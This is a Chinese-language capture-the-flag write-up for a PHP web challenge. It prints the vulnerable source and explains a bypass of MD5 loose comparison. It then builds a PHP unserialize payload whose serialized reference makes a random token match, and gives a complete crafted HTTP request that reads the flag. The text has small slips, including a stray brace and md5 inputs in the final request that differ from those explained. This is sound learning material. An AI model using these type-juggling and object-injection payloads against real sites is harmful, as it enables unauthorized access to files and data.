进入靶场我们会看到这么一段代码
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/
highlight_file(__FILE__);
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1')
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}阅读最后一段代码我们可以得到,要想拿到flag,需要满足以下条件
1. GET 参数: ?pleaseget=1
2. POST 参数: pleasepost=2
3. POST 参数: md51 和 md52 的 MD5 弱相等(==),但值不同
4. POST 参数: obj = BUU类的反序列化字符串
接下来我们分布完成
第一步:MD5 弱类型绕过
PHP == 比较时,0e 开头的科学计数法字符串会被当作 0 处理:
表格
所以第三个条件就可以是md51=240610708 , md52=QNKCDZO
第三步
__destruct()中$this->correct被赋值为随机值base64_encode(uniqid())需要
$this->correct === $this->input才能拿到 flag但
uniqid()是基于微秒时间生成的随机值,无法预测
解决方案:PHP 引用赋值
让 $input 成为 $correct 的引用,这样两者始终指向同一内存地址,值永远相同。
生成 Payload:
ph
<?php
class BUU {
public $correct = "";
public $input = "";
}
$buu = new BUU();
$buu->input = &$buu->correct; // 关键:引用赋值
echo serialize($buu);
// 输出:O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
?>R:2 表示引用第 2 个属性,这是 PHP 序列化中表示引用的语法。
然后我们随便拦截一个包改成
POST /?pleaseget=1 HTTP/1.1
Host: ad2bef0e-f751-4f8e-a706-9d33baa08257.node5.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
Content-Length: 86
pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}php
拿到flag
